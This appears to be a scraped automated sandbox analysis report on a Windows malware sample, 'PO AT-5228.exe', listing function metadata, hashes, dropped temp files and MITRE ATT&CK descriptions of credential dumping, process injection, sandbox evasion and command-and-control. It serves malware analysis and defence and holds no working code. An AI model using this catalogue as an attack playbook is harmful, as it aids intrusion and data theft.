API ID: DirectoryFreeLibrarySystem
String ID: WIN_XPe
API String ID: 510247158-3257408948
Opcode ID: 8003d159634095a7e39d6806a989473f5cf400ef434988646dbd7d6316a912fa
Instruction ID: 9d9c71fbf56343e67d985e1f5d5fb7dc798a7ace2318c6b6edd0a08977ea6f2b
Opcode Fuzzy Hash: 8003d159634095a7e39d6806a989473f5cf400ef434988646dbd7d6316a912fa
Instruction Fuzzy Hash: 5EE0C975C24549AFDB11DBA5DD84AECF7F8EB48301F1880C6E116B6660EB705A84DF22

Function 00BC8698 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00BC86A2
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00BC86B5

Part of subcall function 00BA7A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00BA7AD0

Strings

Shell_TrayWnd, xrefs: 00BC869B

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: b7abcbaf789e121edd1c2a8ad1b89c43c3230e92b578edc699cee9575e468e7d
Instruction ID: 8ebc469d474ec23765bed53a3423ede9698e5718543d1975c5fca4e158ae127e
Opcode Fuzzy Hash: b7abcbaf789e121edd1c2a8ad1b89c43c3230e92b578edc699cee9575e468e7d
Instruction Fuzzy Hash: 5CD0123138C394BBE6646770DC4BFC67A589B15B11F110925B749AF1D0CDF4E940CB54

Function 00BC86CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00BC86E2
PostMessageW.USER32(00000000), ref: 00BC86E9

Part of subcall function 00BA7A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00BA7AD0

Strings

Shell_TrayWnd, xrefs: 00BC86DB

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 53657d4d2a71802ebc17b5989eb34ea28b246881dfe2aeafc027bab6756e174c
Instruction ID: 430ca343a8c3a5a1fc8bf518b31ee07475c5f6326f4cda52c306d59069de84cd
Opcode Fuzzy Hash: 53657d4d2a71802ebc17b5989eb34ea28b246881dfe2aeafc027bab6756e174c
Instruction Fuzzy Hash: 29D0A9313883947BE22463309C4BFC66A489B05B10F000824B205AE0C0CCE0A9408B14

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO AT-5228.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\1453h-8L

C:\Users\user\AppData\Local\Temp\Mazatl

C:\Users\user\AppData\Local\Temp\autC0A9.tmp

C:\Users\user\AppData\Local\Temp\autC359.tmp

C:\Users\user\AppData\Local\Temp\thixophobia

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Windows Analysis Report
PO AT-5228.exe

Function 00B8B043 Relevance: 21.5, APIs: 14, Instructions: 537
COMMONLIBRARYCODE

Function 00B63D19 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowCOMMON

Function 00B7DDC0 Relevance: 10.7, APIs: 7, Instructions: 175
COMMON

Function 00B6406B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Function 00BAFA0C Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 238
COMMON

Function 00B63F53 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Function 00BABFA4 Relevance: 18.3, APIs: 12, Instructions: 316
fileCOMMON

Function 00B63742 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Function 00B63E6E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66
windowregistryCOMMON

Function 0195FC80 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 00B649FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73
registryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre